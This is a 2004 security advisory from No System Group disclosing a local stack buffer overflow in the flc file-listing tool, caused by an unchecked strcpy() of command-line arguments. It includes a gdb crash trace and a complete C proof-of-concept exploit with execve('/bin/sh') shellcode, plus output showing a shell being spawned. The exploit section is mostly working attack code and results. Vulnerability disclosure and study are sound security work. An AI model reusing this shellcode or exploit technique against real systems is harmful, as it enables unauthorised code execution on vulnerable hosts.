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No System Group - Advisory #06 - 24/09/04
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Program: flc
Homepage: http://ucon64.sourceforge.net/
Vulnerable Versions: flc 1.0.4 and prior
Risk: Low / Medium
Impact: Local Stack Buffer Overflow Vulnerability
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- DESCRIPTION
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This may be freely redistributed under the terms
of the GNU Public License flc lists information
about the files in a directory, like 'ls' or 'dir'
commands from the fileutils package. But in addition,
it shows FILE_ID.DIZ information (from files and
archives), ID3 tags (MP3), and MET files (eDonkey
or Overnet) It is very useful for FTP admins or
people who have a lot to do with files.
More informations at: http://ucon64.sourceforge.net/
- DETAILS
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Due to an unsafe copying of parameters from the
command line using strcpy() in flc.c, it is possible
overwrite the return address:
--- flc.c ---
140: if (flc.html)
141: printf ("
");
142: if (optind < argc)
143: {
144: while (optind < argc)
145: strcpy (path, argv[optind++]);
146 }
--- flc.c ---
coki@nosystem:~$ flc `perl -e 'print "A" x 50000'`
Segmentation fault
coki@nosystem:~$
coki@nosystem:~$ gdb flc
GNU gdb 6.1.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...(no debugging symbols found) ...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r `perl -e 'print "A" x 25632'`
Starting program: /home/coki/audit/flc-1.0.4-linux-bin/bin/flc `perl -e 'print " A" x 25632'`
(no debugging symbols found)...(no debugging symbols found)...install.sh N 120 11-03-02 install.sh
flc N 20448 11-03-02 flc
txtextract N 13964 11-03-02 txtextract
id3extract N 16876 11-03-02 id3extract
metextract N 16268 11-03-02 metextract
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r esp ebp eip
esp 0xbfff91d0 0xbfff91d0
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
(gdb) q
The program is running. Exit anyway? (y or n) y
coki@nosystem:~$
- EXPLOIT
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------------------ flc_exp.c --------------------
/* flc <= 1.0.4 local stack buffer overflow exploit
(Proof of Concept)
Tested in Slackware 10.0
by CoKi
No System Group - http://www.nosystem.com.ar
*/
#include
#include
#define BUFFER 25632 + 1
char shellcode[]=
"\x31\xc0" /* xor %eax,%eax */
"\x31\xd2" /* xor %edx,%edx */
"\x52" /* push %edx */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x52" /* push %edx */
"\x53" /* push %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */
int main(int argc, char *argv[]) {
char *env[3] = {shellcode, NULL};
char buf[BUFFER], *path;
int *buffer = (int *) (buf);
int i, ret;
if(argc != 2) {
printf(" use: %s \n", argv[0]);
exit(0);
}
path = argv[1];
ret = 0xbffffffa - strlen(shellcode) - strlen(path);
for(i=0; i<=BUFFER; i+=4)
*buffer++ = ret;
printf("\n flc <= 1.0.4 local stack buffer overflow (Proof of Concept)\n");
printf(" by CoKi \n\n");
execle(path, "flc", buf, NULL, env);
}
------------------ flc_exp.c --------------------
coki@servidor:~$ make flc_exp
coki@servidor:~$ ./flc_exp /home/coki/audit/flc-1.0.4-linux-bin/bin/flc
flc <= 1.0.4 local stack buffer overflow (Proof of Concept)
by CoKi
WARNING: /home/coki/audit/flc-1.0.4-linux-bin/bin/.flcrc not found: creating...OK
install.sh N 120 11-03-02 install.sh
flc N 20448 11-03-02 flc
txtextract N 13964 11-03-02 txtextract
id3extract N 16876 11-03-02 id3extract
metextract N 16268 11-03-02 metextract
flc_exp.c N 1425 09-24-04 flc_exp.c
flc_exp N 11336 09-24-04 flc_exp
.flcrc N 1162 09-24-04 .flcrc
sh-2.05b$
'flc' is not setuid by default :(
- SOLUTIONS
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No yet
- REFERENCES
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http://www.nosystem.com.ar/advisories/advisory-06.txt
- CREDITS
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Discovered by CoKi
No System Group - http://www.nosystem.com.ar
